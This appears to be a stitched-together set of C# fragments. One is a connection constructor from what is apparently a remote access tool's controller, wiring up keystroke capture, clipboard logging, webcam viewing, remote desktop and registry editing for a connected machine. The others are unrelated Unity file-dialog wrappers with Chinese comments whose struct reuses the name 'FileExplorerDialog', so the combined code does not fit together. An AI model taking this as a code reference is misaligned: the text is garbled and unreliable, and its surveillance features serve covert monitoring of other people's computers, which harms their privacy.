public Connection(TcpClient client) { _client = client; _formatter = new BinaryFormatter(); _secured = false; _encLock = new object(); _decLock = new object(); _encryptor = null; _decryptor = null; IPAddress = ((IPEndPoint)_client.Client.RemoteEndPoint).Address; Port = ((IPEndPoint)_client.Client.LocalEndPoint).Port; RemoteDesktop = new RemoteDesktopDialog(this); WebcamViewer = new WebcamDialog(this); FileExplorer = new FileExplorerDialog(this); ProcessManager = new ProcessManagerDialog(this); KeystrokeCapturer = new KeystrokeCapturerDialog(this); ClipboardLogger = new ClipboardLoggerDialog(this); ApplicationHandler = new ApplicationHandlerDialog(this); RegistryEditor = new RegistryEditorDialog(this); StartupMonitor = new StartupMonitorDialog(this); ServiceAdminister = new ServiceAdministerDialog(this); InstantMessenger = new InstantMessengerDialog(this); Downloads = new Dictionary <int, Download>(); Uploads = new Dictionary <int, Upload>(); }
public static string SaveFile(string regex = "*") { FileExplorerDialog fileExplorerDialog = new FileExplorerDialog(); fileExplorerDialog.structSize = Marshal.SizeOf(fileExplorerDialog); fileExplorerDialog.filter = regex; fileExplorerDialog.file = new string(new char[256]); fileExplorerDialog.maxFile = fileExplorerDialog.file.Length; fileExplorerDialog.fileTitle = new string(new char[64]); fileExplorerDialog.maxFileTitle = fileExplorerDialog.fileTitle.Length; fileExplorerDialog.initialDir = Application.streamingAssetsPath.Replace('/', '\\'); //默认路径 fileExplorerDialog.title = "窗口标题"; fileExplorerDialog.flags = 0x00080000 | 0x00001000 | 0x00000800 | 0x00000008; return(LocalDialog.GetSaveFileName(fileExplorerDialog) ? fileExplorerDialog.file : ""); }
public static bool GetOFN([In, Out] FileExplorerDialog ofn) { return(GetOpenFileName(ofn)); }
public static extern bool GetOpenFileName([In, Out] FileExplorerDialog ofn);